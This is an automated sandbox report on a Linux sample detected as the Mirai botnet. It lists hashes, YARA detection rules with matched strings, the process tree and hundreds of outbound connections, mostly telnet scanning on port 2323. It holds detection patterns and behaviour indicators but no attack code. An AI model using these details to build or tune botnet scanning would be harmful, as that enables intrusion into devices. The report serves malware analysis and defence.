Edit tour

Linux Analysis Report
robinbot_sample2

Overview

General Information

Sample Name:	robinbot_sample2
Analysis ID:	756120
MD5:	d65bd6175517e0bcb6a6fc077cdcb655
SHA1:	f1a6dc5a7b2678f6e499e44de99beb0c0936d626
SHA256:	345e9c1b6ce0f34a6be63e5411348f4c1588654f61fcbc4d667cab4c8aef1ae3
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Sample deletes itself

Yara signature match

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	756120
Start date and time:	2022-11-29 16:51:40 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	robinbot_sample2
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 16.04 x64 (Kernel 4.4.0-116, Firefox 88.0, Document Viewer 3.18.2, LibreOffice 5.1.6.2, OpenJDK 1.8.0_171)
Analysis Mode:	default
Detection:	MAL
Classification:	mal100.troj.evad.lin@0/2@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
TCP Packets have been reduced to 100
VT rate limit hit for: robinbot_sample2

Runtime Messages

Command:	/tmp/robinbot_sample2
PID:	9446
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Hei
Standard Error:

Process Tree

system is lnxubuntu1

robinbot_sample2 (PID: 9446, Parent: 9378, MD5: unknown) Arguments: /usr/bin/qemu-ppc /tmp/robinbot_sample2

robinbot_sample2 New Fork (PID: 9454, Parent: 9446)

robinbot_sample2 New Fork (PID: 9457, Parent: 9454)

robinbot_sample2 New Fork (PID: 9458, Parent: 9454)

robinbot_sample2 New Fork (PID: 9459, Parent: 9454)

robinbot_sample2 New Fork (PID: 9460, Parent: 9454)

upstart New Fork (PID: 9467, Parent: 3310)

sh (PID: 9467, Parent: 3310, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: /bin/sh -e /proc/self/fd/9

sh New Fork (PID: 9468, Parent: 9467)

date (PID: 9468, Parent: 9467, MD5: 54903b613f9019bfca9f5d28a4fff34e) Arguments: date

sh New Fork (PID: 9485, Parent: 9467)

apport-checkreports (PID: 9485, Parent: 9467, MD5: 1a7d84ebc34df04e55ca3723541f48c9) Arguments: /usr/bin/python3 /usr/share/apport/apport-checkreports --system

upstart New Fork (PID: 9494, Parent: 3310)

sh (PID: 9494, Parent: 3310, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: /bin/sh -e /proc/self/fd/9

sh New Fork (PID: 9495, Parent: 9494)

date (PID: 9495, Parent: 9494, MD5: 54903b613f9019bfca9f5d28a4fff34e) Arguments: date

sh New Fork (PID: 9501, Parent: 9494)

apport-gtk (PID: 9501, Parent: 9494, MD5: ec58a49a30ef6a29406a204f28cc7d87) Arguments: /usr/bin/python3 /usr/share/apport/apport-gtk

upstart New Fork (PID: 9521, Parent: 3310)

sh (PID: 9521, Parent: 3310, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: /bin/sh -e /proc/self/fd/9

sh New Fork (PID: 9526, Parent: 9521)

date (PID: 9526, Parent: 9521, MD5: 54903b613f9019bfca9f5d28a4fff34e) Arguments: date

sh New Fork (PID: 9533, Parent: 9521)

apport-gtk (PID: 9533, Parent: 9521, MD5: ec58a49a30ef6a29406a204f28cc7d87) Arguments: /usr/bin/python3 /usr/share/apport/apport-gtk

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
robinbot_sample2	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x1b9b8:$x2: /dev/misc/watchdog 0x1b9a8:$x3: /dev/watchdog 0x1dec0:$s1: LCOGQGPTGP 0x1db94:$s3: CFOKLKQVPCVMP 0x1db78:$s4: QWRGPTKQMP 0x1dad4:$s5: HWCLVGAJ 0x1dd44:$s6: NKQVGLKLE
robinbot_sample2	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
robinbot_sample2	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
robinbot_sample2	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
robinbot_sample2	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
robinbot_sample2	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x1dac8:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
9457.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x1b9b8:$x2: /dev/misc/watchdog 0x1b9a8:$x3: /dev/watchdog 0x1dec0:$s1: LCOGQGPTGP 0x1db94:$s3: CFOKLKQVPCVMP 0x1db78:$s4: QWRGPTKQMP 0x1dad4:$s5: HWCLVGAJ 0x1dd44:$s6: NKQVGLKLE
9457.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9457.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
9457.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9457.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9457.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x1dac8:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
9459.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x1b9b8:$x2: /dev/misc/watchdog 0x1b9a8:$x3: /dev/watchdog 0x1dec0:$s1: LCOGQGPTGP 0x1db94:$s3: CFOKLKQVPCVMP 0x1db78:$s4: QWRGPTKQMP 0x1dad4:$s5: HWCLVGAJ 0x1dd44:$s6: NKQVGLKLE
9459.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9459.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
9459.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9459.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9459.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x1dac8:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
9446.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x1b9b8:$x2: /dev/misc/watchdog 0x1b9a8:$x3: /dev/watchdog 0x1dec0:$s1: LCOGQGPTGP 0x1db94:$s3: CFOKLKQVPCVMP 0x1db78:$s4: QWRGPTKQMP 0x1dad4:$s5: HWCLVGAJ 0x1dd44:$s6: NKQVGLKLE
9446.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9446.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
9446.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9446.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9446.1.00007fddd7163000.00007fddd7183000.r-x.sdmp	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x1dac8:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
Process Memory Space: robinbot_sample2 PID: 9446	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: robinbot_sample2 PID: 9446	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: robinbot_sample2 PID: 9457	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: robinbot_sample2 PID: 9457	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: robinbot_sample2 PID: 9459	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: robinbot_sample2 PID: 9459	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Click to see the 19 entries

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: robinbot_sample2

Avira: detected

Multi AV Scanner detection for submitted file

Source: robinbot_sample2

ReversingLabs: Detection: 73%

Source: global traffic	TCP traffic: 192.168.2.20:37320 -> 42.154.205.241:80
Source: global traffic	TCP traffic: 192.168.2.20:34018 -> 37.223.66.244:80
Source: global traffic	TCP traffic: 192.168.2.20:43946 -> 145.173.40.234:80
Source: global traffic	TCP traffic: 192.168.2.20:33152 -> 42.199.43.64:80
Source: global traffic	TCP traffic: 192.168.2.20:33966 -> 91.89.61.211:80
Source: global traffic	TCP traffic: 192.168.2.20:48944 -> 91.152.149.137:80
Source: global traffic	TCP traffic: 192.168.2.20:57402 -> 26.185.228.158:80
Source: global traffic	TCP traffic: 192.168.2.20:41240 -> 16.249.59.117:80
Source: global traffic	TCP traffic: 192.168.2.20:55830 -> 161.35.220.12:80
Source: global traffic	TCP traffic: 192.168.2.20:41444 -> 41.26.41.108:80
Source: global traffic	TCP traffic: 192.168.2.20:33886 -> 219.175.213.145:80
Source: global traffic	TCP traffic: 192.168.2.20:54532 -> 1.84.59.210:80
Source: global traffic	TCP traffic: 192.168.2.20:40438 -> 49.9.6.163:80
Source: global traffic	TCP traffic: 192.168.2.20:60816 -> 89.217.54.248:80
Source: global traffic	TCP traffic: 192.168.2.20:46184 -> 199.27.152.82:80
Source: global traffic	TCP traffic: 192.168.2.20:59868 -> 147.83.72.52:80

Source: global traffic	TCP traffic: 192.168.2.20:48696 -> 201.164.126.60:8080
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 40.143.70.145:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 176.94.182.162:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 94.2.92.235:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 219.192.100.9:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 120.59.254.200:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 44.104.110.234:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 184.163.42.166:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 27.150.167.37:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 220.0.69.217:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 218.211.44.245:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 140.176.80.240:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 214.2.88.114:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 208.12.124.152:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 100.141.252.116:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 106.39.26.93:2323
Source: global traffic	TCP traffic: 192.168.2.20:38834 -> 176.97.210.195:7267
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 9.144.0.23:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 67.56.162.135:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 204.213.137.229:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 195.244.8.248:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 182.47.46.149:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 108.93.248.159:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 180.11.77.115:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 26.39.219.24:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 56.166.53.121:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 37.181.118.18:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 6.38.19.157:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 205.154.167.91:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 208.154.53.46:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 112.85.175.26:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 62.196.127.233:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 90.15.146.195:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 161.7.79.212:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 89.7.74.99:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 81.93.31.72:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 24.32.75.125:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 164.107.53.82:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 20.163.190.169:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 168.213.217.208:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 48.105.150.152:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 72.167.115.230:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 110.164.112.252:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 36.31.148.86:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 93.210.106.90:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 190.39.105.103:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 17.65.243.129:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 12.48.174.70:2323
Source: global traffic	TCP traffic: 192.168.2.20:54660 -> 207.85.112.138:8080
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 2.27.249.91:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 135.208.129.181:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 35.78.16.235:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 191.40.65.103:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 113.69.142.156:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 104.213.231.84:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 176.255.194.15:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 154.125.72.141:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 29.98.200.133:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 87.21.204.129:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 112.221.161.248:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 76.44.15.28:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 47.73.76.97:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 199.32.76.15:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 123.228.205.74:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 209.60.109.165:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 149.167.140.56:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 124.246.72.31:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 57.107.71.157:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 169.73.31.184:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 106.87.187.188:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 157.58.163.127:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 30.216.111.240:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 83.73.93.202:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 49.253.181.16:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 119.171.189.158:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 158.232.199.125:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 59.46.82.185:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 198.47.112.79:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 219.79.215.56:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 152.117.70.140:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 125.168.121.111:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 195.184.8.236:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 153.152.197.59:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 205.197.162.152:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 153.107.177.56:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 180.250.16.119:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 61.74.168.39:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 39.18.33.242:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 47.188.100.105:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 109.123.90.84:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 42.107.26.114:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 17.71.162.130:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 83.218.137.20:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 42.120.85.235:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 57.142.16.211:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 80.238.143.53:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 82.67.85.210:2323
Source: global traffic	TCP traffic: 192.168.2.20:56946 -> 200.27.253.193:8080
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 223.82.133.227:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 49.178.41.177:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 7.152.57.196:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 198.245.120.25:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 188.43.33.252:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 24.120.188.150:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 34.110.245.2:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 109.67.7.75:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 31.71.10.38:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 177.202.131.26:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 59.99.126.202:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 27.107.50.7:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 90.3.85.192:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 170.210.37.157:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 168.21.107.69:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 177.107.49.81:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 175.26.74.69:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 160.101.115.63:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 152.40.31.31:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 199.208.228.19:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 143.255.222.115:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 68.5.134.90:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 17.12.48.252:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 54.13.46.179:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 223.4.49.42:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 79.133.33.255:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 66.39.126.190:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 110.33.23.201:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 82.108.213.202:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 182.222.5.142:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 180.67.91.10:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 4.151.29.36:2323
Source: global traffic	TCP traffic: 192.168.2.20:36062 -> 200.57.26.12:8080
Source: global traffic	TCP traffic: 192.168.2.20:59194 -> 187.211.154.101:8080
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 121.106.196.88:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 187.96.30.138:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 152.62.78.255:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 210.103.84.190:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 113.206.93.58:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 86.223.70.244:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 66.224.96.3:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 8.205.235.221:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 220.11.92.205:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 208.168.94.174:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 206.89.171.195:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 105.196.71.196:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 35.209.213.148:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 198.89.148.236:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 48.83.146.241:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 42.234.7.101:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 73.192.251.225:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 174.173.119.201:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 215.236.84.125:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 144.254.120.37:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 171.128.40.117:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 47.220.154.102:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 3.3.206.48:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 146.144.111.237:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 90.178.237.244:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 186.208.75.78:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 58.169.242.105:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 119.85.173.24:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 85.159.243.28:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 67.120.217.1:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 97.109.159.19:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 51.237.146.100:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 208.250.16.97:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 133.214.106.48:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 118.26.82.24:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 99.238.192.234:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 211.8.215.61:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 39.109.181.49:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 173.40.20.156:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 171.17.220.252:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 33.228.119.75:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 202.7.45.214:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 206.83.23.174:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 123.233.94.220:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 132.221.149.96:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 111.255.134.124:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 142.195.171.97:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 193.81.43.93:2323
Source: global traffic	TCP traffic: 192.168.2.20:44054 -> 189.128.113.12:8080
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 38.240.104.100:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 149.251.204.245:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 117.221.156.210:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 44.55.80.63:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 62.62.141.145:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 28.102.129.155:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 9.149.218.104:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 163.205.37.29:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 213.67.194.241:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 44.210.22.157:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 171.61.149.71:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 85.3.137.195:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 28.155.152.45:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 56.158.28.182:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 94.26.25.188:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 59.220.40.178:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 211.107.172.123:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 175.85.194.133:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 45.223.222.28:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 18.225.146.112:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 195.220.152.194:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 45.66.140.56:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 128.201.202.62:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 175.135.81.53:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 92.170.211.143:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 55.189.40.162:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 34.151.243.178:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 218.110.147.30:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 128.61.22.34:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 8.134.253.63:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 103.13.67.26:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 183.124.120.231:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 181.243.248.87:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 217.40.159.31:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 95.246.17.121:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 193.235.238.217:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 221.238.253.198:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 151.170.56.57:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 118.212.204.5:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 50.66.15.100:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 221.10.101.112:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 49.27.208.220:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 137.185.156.189:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 99.50.43.158:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 194.2.91.209:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 113.244.8.78:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 130.155.195.243:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 175.69.33.199:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 216.141.204.160:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 95.49.187.135:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 210.198.227.122:2323
Source: global traffic	TCP traffic: 192.168.2.20:12451 -> 37.71.184.216:2323
